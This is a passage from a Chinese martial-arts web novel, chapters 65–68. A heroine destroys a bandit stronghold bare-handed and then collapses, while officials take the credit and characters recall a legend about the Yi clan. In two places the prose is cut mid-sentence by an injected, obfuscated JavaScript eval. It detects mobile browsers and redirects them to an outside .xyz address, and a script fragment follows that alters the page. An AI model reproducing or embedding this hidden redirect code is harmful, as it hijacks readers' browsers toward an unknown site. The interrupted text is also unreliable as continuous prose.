但羿衍椋一直眯着眼睛在盯着他,佟槿方立即假装给手里拿着的箬帽抖沙土。 却忍不住在心里腹诽道:哼,你知道些什么!你抱着的人如果不是有我给她扎了三根银针,她早就已经断气了!看你还敢不敢抱!吓不死你个公子哥! 佟槿方悄悄地撇了撇嘴。 这时仲五和那名镖师跑了过来。 之前羿衍椋从藏身的树林过来的时候,特地叮嘱过他俩人,说让他们继续躲起来,以防鬼山赛里面还潜有山匪,如果发现情况不对,让他们赶紧跑下山去报官。 不过仲五见燕惜妤忽然被阿七抱着,他立即猜测燕姑娘或许是受伤了,于是终究还是忍不住跑了出来。 而镖师也很担心救了全商队的女侠,所以也跟着过来了。 “燕姑娘怎么了?”仲五着急地问。 那镖师也神情紧张。 羿衍椋刚想开口,之前他们藏身的树林忽然传来了吵杂声,其中就属曾管事的嗓门最大。 “这位军爷,各位差大哥,就是这里,鬼山赛的老巢就在这里!!” 佟槿方一惊:“曾管事怎的把官兵找来了?” 他一时有些不知所措,先是看看被阿七抱着的燕惜妤,又去看身周倒了一地的山匪,忍不住开口问:“衙差会不会问是谁做的?” “他们不会问,”羿衍椋冷哼了一声。如果问了,那这次剿匪的功劳可就不属于他们了。 “你怎么知道他们不会问?”佟槿方抬头看着他,“我觉得你这人和燕姑娘有些像。”都是一副胸有成竹的样子。 羿衍椋勾了勾嘴角,然后对佟槿方说:“把你手里拿着的箬帽盖到燕姑娘的脸上,快!” 佟槿方此时是他人说一句,他就照着做。 等他把箬帽盖在燕惜妤的脸上后,那些被曾管事带上山的衙差已经冲了过来! “女……”曾管事边激动地喊着边埋头冲了过来,却被羿衍椋一脚踢过来的石头给拌了个倒头葱,差点儿把他鼻子给磕掉了。 “哎哟喂!”曾管事被跟着过来的镖师扶了起来,边揉着脸和鼻子边半睁着一只眼睛这么一看,就发现天下 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这时听见军爷问他,他悄悄地瞥了一眼阿七和佟槿方,也不知道他到底是怎么解析阿七看他的眼神的,脸上忽然就露出了既伤心又愤恨的表情来,一张嘴就嚎开了。 “个杀天刀的山匪啊,抢了咱商队的货物钱银也就算了,他们还抢妇人啊,军爷你快点去寨子里看看还有没有被他们掳来的妇人,我商队的弟兄实在是没那个本事,能在山匪窝里救出这么一个已经算他们命大了,这里可是山匪老巢啊!” 那军爷这才去看曾管事后面站着的几人,其中几人都是男子,只有一个女子被人抱着。 他是上过战场的将士,自然一眼就能看出那被人抱着的女子已经昏厥了。 联想到曾管事说的话,看来这女子是被曾管事的人从山匪窝里救出来的。至于他们为什么只救这么一个女子出来,估计就像曾管事说的,谁敢不要命地在山匪窝里救出所有被掳的人。 他对曾管事点点头:“这次有劳管事了,你只管带着你的人先回去,剩下的交给衙门来处置。” “哎,有军爷这句话我就放心了,我东家的商队可还在山脚下等着我呢,”曾管事立即欣然接受,边说边往阿七他们几人看过去,“还傻站着做什么呢?这里可是山匪窝,赶紧的回去了!” 说完也不等他的手下,自己一转身就急匆匆地往回走,那样子像极了贪生怕死的狗腿子。 跟他过来的两名手下连忙跟上,这里可是山匪的老巢啊,赶紧跑吧! 羿衍椋抱着燕惜妤也跟了上去,佟槿方和仲五还有跟他们过来的镖师也一起离开。 他们几人从带队的军爷身侧走过,那军爷原本视线没放在他们身上,都是陆家商队的人,如果陆家商队里有武林高手,他们商队也就不至于要带上那么多护卫和镖师了。 军爷在心里嘲笑了一声,一抬脚正要转身,眼角余光忽然扫见羿衍椋。 羿衍椋虽然头戴着箬帽,也特地压下了帽檐和低垂着头,但他长得高,旁边的人还是能看见他下半张脸的。 他抱着燕惜妤,身旁还有佟槿方几人,跟着曾管事他们下山。 那军爷却一直在看着他的背影。 “郭校尉,您在看什么?”有衙差走过来问他。 “方才那抱着人的男子,我曾见过!”郭校尉眯着眼睛说。 “校尉认识?”衙差问他,“他是谁?” 郭校尉正要说话,旁边忽然传来衙差的惊呼声:“郭校尉您快过来看!” 66. 第66章 此时负责查看现场的衙差们个个面色怪异,他们或站或半蹲地仔细观察着倒在地上的那些山匪。 郭校尉走过来后,他们连忙指着地上的山匪说:“郭校尉您看看这些人!” 郭校尉其实已经查觉到了奇怪,地上虽然躺着横七竖八的山匪,但怪异的是,地上并没有一丁点的鲜血。 这点太奇怪了! 因为无论是他们这些衙差官兵,还是山匪盗贼,又或者是普通的老百姓,甚至是那些江湖中人,绝大多数都是手里拿着各种兵器的。 像今天这样的剿匪,他们在过来之前,就已经能想象出这里的惨剧,必定是尸肉横飞,血染山寨。 但没想到鬼山匪虽然是被人剿了老窝,但却看不见一滴血。 ……这不应该啊! 不过,也不是没有发生过这样的情况。 郭校尉能想到那件事,他的手下自然也想到了。 “郭校尉您说……外头民间传出来的关于羿家祖上的那件事,是不是真的?”有衙差凑到郭校尉的身边低声问。 郭校尉嗤了一声:“你也知道那是是传闻,我又怎知道是真是假。” 他确实不知道,因为那件事本来就只是一个传闻。而且羿家人也曾说过那件事情是无稽之言,是有心人想让大承皇帝忌惮他们羿家,从而瓦解并消灭羿家才故意造谣后散播出来的。 “我觉得有可能是真的,”另一名衙差也说,“传闻中的场景和这儿很相似。” 郭校尉陷入了沉思,他在心里其实也觉得那关于羿家祖上的传闻是真的。 当初还是在前朝末代时,除了自己这边的多路叛军,另外还有域外的八荒蛮族也忽然来犯。 前朝那时已是穷途末路,皇宫中的护卫早已形同虚设,就连皇室中人都早已被杀被俘,剩下几个活着的也都藏了起来。 但当时自己这边的叛军还在乱斗,眼看着八荒蛮族一步步侵吞各州县城池之后屠尽全城百姓,当时在平州的羿家祖上带着羿家众男丁,和当地团结在一起的百姓组成了一支队伍去对抗八荒蛮族。 但八荒蛮族里都是些生吃人肉的凶残之徒,羿家众人虽勇猛,却到底是寡不敌众,就在羿家祖上不顾自身安危孤身突出蛮族包围圈,想刺杀对方头领却被打飞了手里大刀危在旦夕时,忽然从天降下了一道身影! 那人在刺眼的日光照耀下无人能看清其的面容,而此人虽是赤手空拳手无寸铁,但却只在一转眼之间,就杀死了所有的蛮族夷人! 然后那人还把羿家祖上的大刀捡起来还给了他,之后倏地就如同来时倏地就消失了。 羿家祖上当时还是懵的,就在这时旁边忽然有匹疯马朝他冲了过来,他下意识举起大刀就砍了过去,只需一刀,就把马给劈了。 这也是现在令人闻风丧胆的羿家□□的起源,不过因为斩马不好听,很多年前羿家把名字改成了快刀,既是现在羿家军的快刀营。 不过老一辈的人,和大承将士都还是习惯说成□□。 而在当时,这把刀并不起眼,令所有人在意的是那个忽然出现又忽然消失的人。 那人是消失了,但留下了一地虽已没了气息却不见有伤口,也不留一滴血的蛮族夷人尸体! “赤手可屠夷,诛八荒而不见血……”郭校尉皱着眉喃喃说出了这句话。 赤手可屠夷,诛八荒而不见血。这句话是从那场战役中传出来的,虽然羿家祖上说根本就没有那个人,是因为大家当时太累了看差了眼。 而地上倒的那些蛮族夷人,也只是他们吃错了食物导致中了毒。 有人信他,因为大家都知道,求神拜佛那也只是求,也没见谁家菩萨显灵。 但也有人不信,他们觉得是苍天有眼,才派了菩萨下凡来拯救他们! 不过那是在大承朝都还没建立之前的传闻,到现在也只是茶余饭后偶尔会被人提起那么一两次。 谁都没想到,今日他们就亲眼见到了只在传闻中出现过的场景! 可这场景不是只出现在传闻之中吗?传闻还说有名仙人下凡来拯救苍生,难道这次也是?! 在寂静无声之中,有个衙差忽然迟疑着说:“……要不,咱大家伙就当没看见?” 其他人倏地抬头看他! 那衙差猛不丁地被大家这么盯着,只能挠挠头:“我说……” 后面的“笑”字还没出口,就被旁边的衙差一巴掌拍在他肩膀上:“行啊,你小子这想法不错!” 他这话一出口,其他的衙差顿时该干嘛干嘛去,非常有默契地一致对倒了一地的山匪视而不见。 有什么好看,都是些杀人放火劫道害命正被朝廷通缉的逃犯,被捉回来也是杀头的死罪。 这时,一直守在旁边的衙差喊郭校尉:“郭校尉,这里还有个活口!” 这个被五花大绑的山匪大家一早就看见了,不怕他跑,所以也就没有第一时间处置他。 “弄醒,”郭校尉大步走了过来。 那衙差“啪啪啪”几巴掌就把被绑住的二当家给打醒了。 二当家猛地一个激灵醒了过来,然后两脚一蹬,像条离了水的鱼在地上头蹦尾甩的,如果不是被绑着,这会儿估计能蹦出二里地。 “老实点!”衙差一脚将二当家给踹老实了,然后粗暴地扯出了二当家嘴里的草团,“咱校尉问啥你就回啥,敢胡说就送你去和你那些兄弟见面。” 一提到鬼山寨里的那些兄弟,二当家面色就是一变,立即露出了害怕的眼神。 “谁杀了山匪?”郭校尉直接了当地问他。 “一、一个女、女子……”二当家仿佛被谁掐着脖子似的,几次张嘴都发不出声音,但他硬是挤出一句话,“是煞神跑出了!” 煞神? 旁边听见的人彼此对视了一眼,这怎么就又跑出来一个煞神? “是个什么样子的女子?”郭校尉又问。 “没、没留意……”二当家确实没留意,一来对方头戴箬帽,二来两次见到都是他在逃命的时候,跑都还来不及,他压根就没仔细看清对方的脸。 “就那女子一人?”郭校尉皱着眉问,“她身边还有没有人跟着?” “有、有有,”二当家点点,然后又摇头,“没、没有没有啊……” 旁边的衙差又给了他一巴掌,厉声喝他:“到底有还是没有?” “我、也不晓得吧,”二当家哭丧脸着说,“先前是我那三弟跑回来说在劫商队时有个女子路过救了商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711757|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队,然后我那三弟跑回山里搬救兵,我就带着人同他一起下山,还揍了商队两个人,那、那煞神就就说我们打了她的人,于、于是那女子她就跑上山灭了我整座鬼山寨的弟兄们!” 二当家嚷的那叫一个伤心:“就、就打了她人,她就灭了我整个鬼山寨!世上怎能有如此凶残的煞神啊?!!!” 郭校尉冷笑着一脚踹在二当家的脸上:“你们鬼山寨的山匪不是一直把往来的商队当肥羊来宰,这时知道不公和害怕了?迟了。” 二当家被他一脚踹掉几颗门牙,顿时鲜血直流。 整个鬼山匪的山匪被灭都不见一滴鲜血,直到此时才总算是见到了血。 郭校尉在旁边的泥地上蹭了两下靴底:“你说的商队是指陆家商队?” 二当家满嘴血说不出话,只能点点头。他们去劫的是哪家商队,这点还是知道的。 郭校尉盯着二当家看了一会儿,忽然问:“她为何独独留下了你这条狗命?” 二当家一缩脖子,用那刚掉了牙还流着血的嘴巴呜呜噫噫地说:“她、她也想杀了我,是有人把我绑了。” “是什么人把你绑了?”郭校尉问。 二当家也没看清对方的脸:“是个男子,他也戴着箬帽……他俩定然是一伙的!” 郭校尉立即就想到了方才跟着陆家商队曾管事下山的那个人。 如果那人真的是他曾经见过的羿家人…… 传闻里赤手可屠夷,诛八荒而不染血的那个人,还有羿家人同时出现…… 这事也太巧了点…… 还有羿家那人怀里抱着的女子…… 应该不会是她,既然可以徒手不见血灭了整座山寨的人,要从他们这些衙差眼皮底下离开是极为轻易的事,想来不会是她。 那个人难道真是传闻中的那人? 羿家人又知道些什么? 这事需告知大人,至于大人会不会向上再禀报,那就不是他这等小小校尉该考虑的事情了。 郭校尉眯着眼睛想了一会儿,然后挥手对身边的衙差说:“留几人守着山寨口,其他人随我进去。” 他们劳师动众地来剿匪,自然要带着被山匪劫走的货物和掳来的百姓回去,否则他们这趟就白来了。 “诶嘿嘿,”身边的衙差笑着搓搓手,“咱平县这次剿匪灭了鬼山寨,在众州县的衙门之中那可是要占尽风头的!” 幸亏陆家曾管事就近去寻了他们平县衙门的人过来,不费一兵一卒,平白就得来了这剿匪的功劳,这对于他们平县来说可是泼天的富贵啊! 而此时已经下了山的佟槿方倒是完全镇静了下来,他跟在几人身后,越走越气。 “明明是燕姑娘带着咱们去剿的匪,结果这功劳就那么拱手让人了!” “就是!”仲五也气不过,“明明是燕姑娘剿的匪!” 那名同他们一起走着的镖师也一脸的愤愤不平,他们商队平日给了衙门那么多的孝敬,可一遇到山匪劫道,他们这些镖师伤的伤死的死,去报官时却从来没有一次能抓到山匪。 羿衍椋抱着燕惜妤走在他们前面,听着他们说话的声音,嘴角露出一丝冷笑。 想抢燕姑娘的剿匪功劳,做他的春秋大梦去吧! 67. 第67章 曾管事带着人下了山,立即就忙开了。 鬼山寨被剿匪了,他怕有逃跑出来的山匪会偷溜下山,所以要赶紧带着商队离开这是非之地。 罗采春和佟瑰方还有仲茂他们正担心着燕惜妤,结果一看燕惜妤被阿七抱着下山,心中顿时就是一惊。其他人也连忙围了过来,个个脸上满是担忧。 “我阿妹怎的了?”罗采春走在最前面,最先就是去看佟槿方。 燕惜妤为什么带着他一同去剿匪,罗采春还是知道原因的。 “累了,正歇着呢,”佟槿方很镇定地说,“罗姑娘带她回板车上躺着。” 他没说燕惜妤什么时候会醒来,因为他也不知道。 罗采春以前在家做惯了苦力的家务,抱着燕惜妤一转身就走开了。 她见燕惜妤被阿七抱下山,心里极害怕被阿七知道燕惜妤会断气的事。不过她看佟槿方的样子,见他没什么不安的表情,等再把燕惜妤抱在怀中,她提着的心顿时就落了下来。 之前燕惜妤几次断气都是她在照顾,她非常清楚燕惜妤断气时的身体是怎样的。 这时她抱在怀里的燕惜妤,不是僵硬而是柔软的,她立即就知道佟槿方的表情为什么会那样的自然。 因为燕惜妤这次没断气! 罗采春把燕惜妤抱去了板车上,板车里有三个小娃在。 罗采春轻声对他们说:“你们乖些,不要吵到燕姐姐歇息。” 阿谦点点头,阿转和玉彩还用小手捂住了自己的嘴巴。 罗采春安顿好燕惜妤之后,也没再从板车里出来。 羿衍椋却还在看着那垂在板车外面的草帘子。 “七哥,”盛樗容走过来看着他,“燕姑娘怎的被你抱下山来?难道她受伤了?” 武功如此高的燕姑娘也会受伤? 盛樗容有点不相信。 “不清楚,”羿衍椋蹙着眉走开。 “七哥你又去哪?”盛樗容连忙问他。 “我去找曾管事借笔墨纸砚,”羿衍椋背对他说了一句,“顺便感谢他方才去报了衙门。” 感谢曾管事报了衙门? 报了衙门?剿匪?不对啊,七哥他没说报衙门剿匪,只是说报了衙门。 盛樗容转头看了看燕惜妤所在的板车,七哥这是打算帮燕姑娘把剿匪的功劳抢回来? 他忽然扬了扬眉:七哥这是要去写密函了吧。 羿家在大承各州县都设有坐探和暗桩还有专门秘密送递各种情报的信使,那些人员和具体的地址除了羿家现在的家主知道,另外知道的人就只有羿衍椋。 因为越少人知道,对坐探暗桩和信使就越安全。 羿衍椋先是去了一趟曾管事哪里,没一会回来后,骑着玄归忽然就跑了。 这时整个商队都乱糟糟的,之前又还被山匪伤了俩人,大家只顾着收拾东西准备赶路。 山上正剿匪呢,谁知道会不会有漏网的山匪又窜出来,还是走为上策。 陆家商队拉着货物的马车走在前头,前后左右分别都有着或骑着马或走着路的护卫和镖师跟着。 仲茂和仲二分别牵着马拉着板车跟在商队后面,剩下的人则跟着板车走。 这会儿虽然已经远离了鬼山寨,但大家都不敢放松警惕,因为从平县到乌州的这路上,是匪徒最多的路段。 羿衍椋骑着马离开没人留意到,等他骑着马回来,其他人才注意到他。 “阿七,你这是……从哪儿窜出来的?”仲五惊讶地看着他。 “我又回去看了看,”羿衍椋下了马后,松了缰绳任由玄归自己跟着走,“衙差不是在剿匪嘛,我得亲眼看看才安心,万一在我们下山后衙差被躲起来的山匪杀了,那我们就得早做准备。” 他这话虽然说得很吓人,但匪徒和衙差兵丁一向是水火不容的,平日碰见那准是斗个你死我活,所以其他人倒也没有怀疑他说的话。 “那怎么样了?没有藏起来的山匪吧?”佟槿方连忙问。 他是跟着上山的,如果被藏起来的山匪看见了他的样子,那他不得被山匪追过来报复。 “绑了几个下山,还救出了好些被掳去的百姓,衙差正在往山下搬寨子里的银钱货物还有粮食,应该是没事了,”羿衍椋没说谎,他确实过去看了一眼,不过只是顺带而已。 佟槿方一听,心头的火气瞬间就冒了出来:“明明是我们燕姑娘带着我去剿的匪,他们倒是会抢功劳,我迟早要去揭发他们!” 他因为他阿姐被送进知县府邸的原因,一直仇视着所有衙门官员,这下更是新仇旧恨都齐全了。 “不用急,会有那么一天的,”盛樗容走过来话中有话地对他说了一句,然后走到羿衍椋的身边低声说,“送出去了?” 他虽然没有明说是什么送出去了,但羿衍椋一听就知道。 “嗯,”羿衍椋应了一声,俩人放慢了脚步走在最后面。 盛樗容瞥了他几眼,也不知道想到了什么,忽然“啧啧”了两声,打趣道:“你羿家的坐探暗桩还有信使从来只为了紧急军情和战报才动用,你这次倒好,为了区区一个被剿的匪窝也如此劳师动众。” “太平久了,他们就都懒惰了,我给他们找些事做,免得他们因庶务生疏日后酿成大祸,”羿衍椋正色直言道,“你不要误解了我的用意。” 盛樗容做出“我懂,你不用解释”的表情:“七哥说什么便是什么。” 羿衍椋斜视了他一眼,勾了勾嘴角,但眼中仍然有着深忧。 这下盛樗容就看不懂他了,既然是七哥亲自送出去的密函,燕姑娘的这份剿匪功劳就不可能被平县衙门抢走,那为什么七哥还这般模样。 “七哥,莫不是还有旁的事你不曾对我说过?”盛樗容想了想,应该没什么事情了,若真要有什么事……那也只能是在山上剿匪时发生的,“你们在山上剿匪出事了?” 羿衍椋看了看燕惜妤所在的板车,这才低声说:“燕姑娘赤手空拳灭了山上的匪窝。” “这事也没什么……”盛樗容刚说话,忽地就顿住了,他迟疑着重复了一次听见的话,“燕姑娘赤手空拳……难道山上不见一滴血?” 面对他一脸的惊愕,羿衍椋点了点头:“是啊,山匪全倒下了,个个身上都没有伤口。” “……这事怎的就这么凑巧?”盛樗容喃喃道,“我盛氏一族要不是和你羿氏都是忠于大承皇帝,这事准要在暗地里做出不少文章。” “我也没想到会这么巧,”羿衍椋笑了笑,既无奈又好笑,“先前我见她在渡船上带着人飞上杆顶,用的又是链镖,以为她是使暗器的轻功高手,却没想到猜错了,她大开杀戒时,靠的是她那不需寸铁的双手。” “最重要的是她姓燕,”盛樗容煞有介事地摇头晃脑,“如果我这些日子不是一直和七哥你都待在一起,你怕是身上有十张嘴也说不清了啊。” 羿衍椋嗤笑了一声,声音里有着些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726168|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许冷意:“我不需解释,我羿家也不用对谁解释,当初的那件事,本就是大承的太祖皇帝和我羿家祖上一起设计的。” 前朝末代正处于内忧外患时,大承的开国太祖皇帝和羿家祖上为了解决当时内外交困的难题,在八荒蛮族入侵后,大承的开国太祖皇帝负责在八荒蛮族的食物里下毒,而羿家祖上负责带兵抵抗八荒蛮族。 所以羿家人说的八荒蛮族食物中毒是真的,只不过不是误食,而是被人故意下的毒。 至于“赤手可屠夷,诛八荒而不见血”这句话,却是大承的开国太祖自己传出来的。之所以传出来这句话,首先是为了掩盖蛮族被人在食物里下毒的真相,其次是因为当时的人心早已经被磨难打败了,所以需要出现来自苍天神佛的保佑和拯救,这样才能让老百姓重新振作起来。 而在那之后,不知为何又有人说“赤手可屠夷,诛八荒而不见血”的那位天上仙人,下凡拯救的其实是前朝。因为当时正缝前朝大乱之时,皇室成员死伤无数,就连皇帝当时都身受重伤,因为在人间的真龙天子被害,所以天上的仙人才会下凡来拯救真龙天子和真龙天子的臣民。 总之这些真真假假的话加起来,最终成为了流传到至今的传闻。 不过这则传闻从大承开国以来,一直就被某些佞臣拿来在皇帝跟前谗言想害羿氏一族。说羿氏族人手握兵权,身后又有着数十万大军,并且所有边地都由羿家军把守,一旦他们起了反心,大承将无兵可用。再加上有那则传闻,民间百姓很可能会推举羿家人来当家,大承王朝不可不防等等。 再加上羿家的□□确实是真的,也确实成为了现在羿家军所向披靡的快刀营,这就更令人觉得羿氏一族有反心。 可以说羿氏一族自大承开国以来,就一直被佞臣骂着大逆不道,有犯上作乱之叛心。 但偏偏大承历代帝王最不忌讳的就是大逆不道这四个字。 因为大承的太祖皇帝曾是前朝皇室的子民,在前朝时,大承的太祖皇帝奉前朝皇帝为主,结果后来大承太祖皇帝却犯上作乱,当了那改朝换代的大逆不道之叛臣。 所以说到大逆不道,大承王朝才是真的大逆不道。 他们的太祖皇帝把前朝的真龙天子都给砍了,如果真有仙人要下凡为真龙天子报仇的话,他们大承皇室的所有成员都活不到今日。 这也是羿家从来不将那些佞臣谗言放在心上的原因,他们羿氏一族只忠于大承的皇帝,谁当皇帝他们就忠于谁,有本事就坐上龙椅,没本事就在脚底下趴着。 哪怕现在忽然冒出了一个燕惜妤,羿衍椋也不觉得“赤手可屠夷,诛八荒而不见血”这句话能对他羿家造成影响。 盛樗容见羿衍椋表情笃定的样子,忽然就明白了过来:“我说七哥,你是不是还想利用这件事反过来对付他们?” 他口中的“他们”,指的自然是朝中的某些佞臣。 羿衍椋冷笑了一声:“他们不动最好,他们如果敢有所动作,我如果放过了他们,岂不是说我看轻了他们。” 盛樗容又是“啧啧”两声:“都说文人多谋略,朝中那些傻子是没和你羿少将军正面对峙过,否则定会见了你绕路走。” 他说完,见羿衍椋仍然一副心事重重的样子,于是顺着羿衍椋的视线看过去,发现看的是燕惜妤所在的那架板车。 “七哥,燕姑娘到底怎么了?”盛樗容原先还以为羿衍椋在思索着那则传闻,可现在看来,羿衍椋是在忧虑燕惜妤。 68. 第68章 羿衍椋低垂着眼眸说:“她病了。” 盛樗容一怔,下意识脱口而出:“燕姑娘也会生病?” 羿衍椋瞥他一眼:“你当她是仙人不会生病?” 盛樗容讪笑着说:“我是觉得她武功高强不容易生病。” “她上次在板车里好几日不现身,想来也是病了,”羿衍椋语气中有着少许的疼惜,“但她和罗姑娘都说她累了在歇息。” 就连病了都不能说出来,因为她无人可依靠,却还有人在依靠着她。 “……那佟姑娘和佟兄弟能治好她的病吗?”盛樗容轻声问。 “不知,”羿衍椋往佟槿方的方向看了一眼,“我看他并没有把握能治好她的病。” 佟槿方先前在山上慌乱无措的样子羿衍椋都看在眼里,对他实在是没有多大的信心。 但燕惜妤信他。 “可燕姑娘带着佟兄弟,就是让他给治病,”盛樗容也猜到了这一点,“否则她上山剿匪,也不会把佟兄弟这样的小郎也带上。” 羿衍椋冷冷地说:“她一个姑娘家,独自在外,又怎能找得到老郎中,许是只有佟家姐弟愿意同她一起去乌州。” “也是,而且她还姓燕,”盛樗容说完这句话,见他七哥看了过来,连忙说,“好好,我不再提她的姓氏。” “她也未必会是燕氏一族的人,”羿衍椋说,“在说时至今日又有几人还记得燕氏一族。” 不让我提,你自己却又说。 盛樗容斜视了羿衍椋一眼,不过他敢怒不敢言。 俩人沉默地向前走,盛樗容忍不住又问:“七哥,你说燕姑娘是什么病?” 羿衍椋回想起燕惜妤两次躲在板车不现身时的情景,猜测道:“许是和她练的武功有关。” 盛樗容愣了愣,皱眉想了一会儿,忽然眼睛一亮:“难不成燕姑娘练的是邪功?!” 羿衍椋倏地停下脚步,侧过头看了过来。 “……我是说、是说她练功走火入魔了?”盛樗容也觉得自己越说越荒谬,只好讪讪地转过头不敢看羿衍椋,“可能是她太累了,一个姑娘家剿了一座山的匪徒。” 说完,盛樗容也觉得自己这个猜测是最正确的,他边点头边继续说:“燕姑娘这一路走来确实很累。” 在渡船上,如果她不出手,那渡船上的人也不知道最后会不会都掉水里。 第一次遇见山匪的时候,虽然是羿衍椋把山匪引回来的,但其实按照他们前进的路线,再走过去也一样会碰见正在抢劫陆家商队的山匪,当时那段路是在半山腰的崖边窄道上,根本没处可逃,那个时候燕惜妤如果不出身,她身边的人估计都活不成。 虽然羿衍椋当时也在,燕惜妤如果不出手,羿衍椋也会出手解决山匪。可如果羿衍椋不在呢,还不是得靠燕惜妤。 还有这次山匪把仲四打伤的事情,无论羿衍椋在不在,燕惜妤都得出手,否则她和她的人还有商队都得被山匪杀伤不少人,毕竟羿衍椋虽然是少将军,他也只是一个人两只手,他可以做到逼退山匪,但他无办法护住所有的人不受伤。 盛樗容觉得燕惜妤是累了才病的,但羿衍椋却不这么认为。 他是亲眼看着燕惜妤忽然倒下的,燕惜妤倒下之前,正在大杀四方,整座山全部的山匪都不是她的对手,她出手的动作那叫一个干净利索,根本就没有半点疲累的样子。 可她却是那么忽然就昏迷着倒下了。 不过罗姑娘还有佟家俩姐弟却像是知道她昏迷的原因。 羿衍椋看着走在板车旁边的佟家姐弟,脸上的表情若有所思。 佟家姐妹这时也在低声说着同样的话题。 “阿姐,我觉得燕姑娘会醒过来,”佟槿方一脸烦躁不安,“但她头上还有银针,我就怕拔出银针时她就又断气了。” “阿弟,燕姑娘扎了银针不会断气,醒来后拔银针也不会断气,”佟瑰方倒是在担心着另外一件事,“怕只怕银针扎穴对她起不了多大的作用。” “阿姐的意思是?”佟槿方立即皱紧了眉头。 “她不扎银针,动武后会断气,扎了银针后,只是从断气变成了昏迷,”佟瑰方叹气,“她这只是从离魂症成为了昏厥之症,于她而言,仍然是无用的。” 佟槿方张了张嘴,忽然想到先前燕惜妤说过她之所以非要冒险扎银针,就是怕死才要治离魂症的。 离魂症有可能断气之后就真的死了,昏厥之症其实也一样,有些患了昏厥之症的人,在一次昏厥后,就再也没能昏睡中清醒过来。 “……那我也同她讲过了的,”佟槿方心虚道,“是她非要治的。” “等她醒来,你再同她说说佟家秘诀上的另外两个法子,”佟瑰方说,“你就算不说,她也会问的,她是个有主意的人,在一些事上没人能阻挠她的决定。” “这点我早就晓得了……”佟槿方撇撇嘴,燕惜妤都已经拿她自己的性命当试验,来让他这个小郎为她治离魂症了,当真是太有主意了,一点儿都不带怕的。 还说她自己怕死,我看她是压根儿就不知死字如何写! 这时,前面陆家的商队忽然停了下来。 几人奇怪地看着前头,互相看看,怎的停下不走了? 曾管事很快就走了过来,他左右看了看,然后对佟瑰方说:“佟姑娘,我们商队要进平县城镇,你们要不要一同进城歇几日?” 佟瑰方哪里敢进城,但她又不能明说,只好摇头说:“我们需赶路去乌州,就不进城了。” “哦好,那女侠……”曾管事掂起脚尖伸长脖子看向垂着草帘子的板车。 罗采春这时忽然从板车里出来了:“我阿妹连日赶路又上山剿了匪,太劳累所以病了,我们需带着她尽快赶到乌州,就不同曾管事一道进城了。” “女侠病了?”曾管事立即担忧道,“可需要哪种药材?我马车上有好些药材等会就拿过来,病了那何不一道进城歇几日再赶路?” “曾管事有心了,我们不需要药材,也不打算进城,”罗采春淡淡地说,“赶路哪有不把人累病的,我只想让我阿妹尽快去到乌州,再在路上这么耽搁下去,我怕我阿妹这病就好不了了。” 曾管事一听,脸上立即需出讪然来。 罗采春话里的意思已经很明显了,如果不是在半道碰见他们陆家的商队被山匪抢劫,她阿妹就不会在赶路的中途还跑到山上去剿匪。 剿匪那多累啊,别说把人累病累倒了,剿匪那可是稍有差池就会没了性命的! “啊是是,罗姑娘说得是,”曾管事连连点头说。 罗采春对他福身道:“既然曾管事要带着商队进城,那我们就在这分别了,曾管事日后一路顺遂。” “哦好,那……”曾管事话音一转,“仲四兄弟受了伤,正和我那手下一道躺在商队的马车上,我把马和马车留给你们,这样仲四兄弟在路上也能好受用,不用拖着一身的伤走这老远的路。” 罗采春正要拒绝,曾管事连忙说:“那马和马车是我借给我仲四兄弟的,他也是被我们商队拖累才受的伤,再说我们商队也要去乌州,乌州也有我东家的陆氏商行,罗姑娘等到了乌州就把马和马车送往陆家商行就行,我到了乌州自会收到。” 罗采春沉默了一下。 曾管事又说:“都说出门在外互相照料着,仲四兄弟因我们 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“罢了,他们商队都走了,就留着吧,”罗采春叹了口气,然后看着仲茂他们几人说,“你们把这些搬到咱自家放货物的板车上,我待会儿把阿谦他们仨抱过来,免得他们在板车上吵到我阿妹。” 以前燕惜妤断气后是个死人,外头天塌了也惊不动她。但这回不同,燕惜妤这回是昏迷,说不定阿转和玉彩跟阿谦学讲话就会吵到她。 听罗采春主动提起燕惜妤,仲茂总算是等到机会敢问她关于燕惜妤的事了。 之前燕惜妤那次在板车里几日不现身,他不敢问,只能和兄弟们偷偷在心里为她担心。 “罗姑娘,咱燕姑娘没事吧?要不要去城里买药啊,我去买。” “不用,佟姑娘和佟兄弟都在,他俩心里有数,”罗采春摇摇头,“我阿妹就是累病的,歇几日就好。” 仲茂他们几兄弟还是一脸的担忧。 罗采春瞥了他们一眼:“哪有人不生病的,过几日我阿妹就痊愈了,你们别傻站着,搬东西吧。” 仲茂他们几人这才手忙脚乱地去搬马车里的东西,仲二这个大咧咧的人还差点儿把仲四给砸到。 羿衍椋站在旁边皱眉看着,越看脸色越冷。 盛樗容不明白他为什么忽然又变了脸色:“七哥?” “仲茂他们几人太不成器了,”羿衍椋皱着眉说,“堂堂男子怎的如此不堪大用。” “……老百姓不都这样?”盛樗容觉得仲茂他们也没什么错,“七哥觉得他们几人该如何?” 羿衍椋正色道:“自然要似我羿家将士般勇猛!” “……是不是太为难他们几兄弟了?”盛樗容想说你羿家将士那都是从尸山血海的战场里活下来的,普通人又怎能有他们那般不怕鬼神的气魄。 羿衍椋冷着脸说:“如若他们能顶事,也就不会把燕姑娘累病了。” “可燕姑娘也没说什么吧?”盛樗容觉得还是该替仲茂几人说句话的。 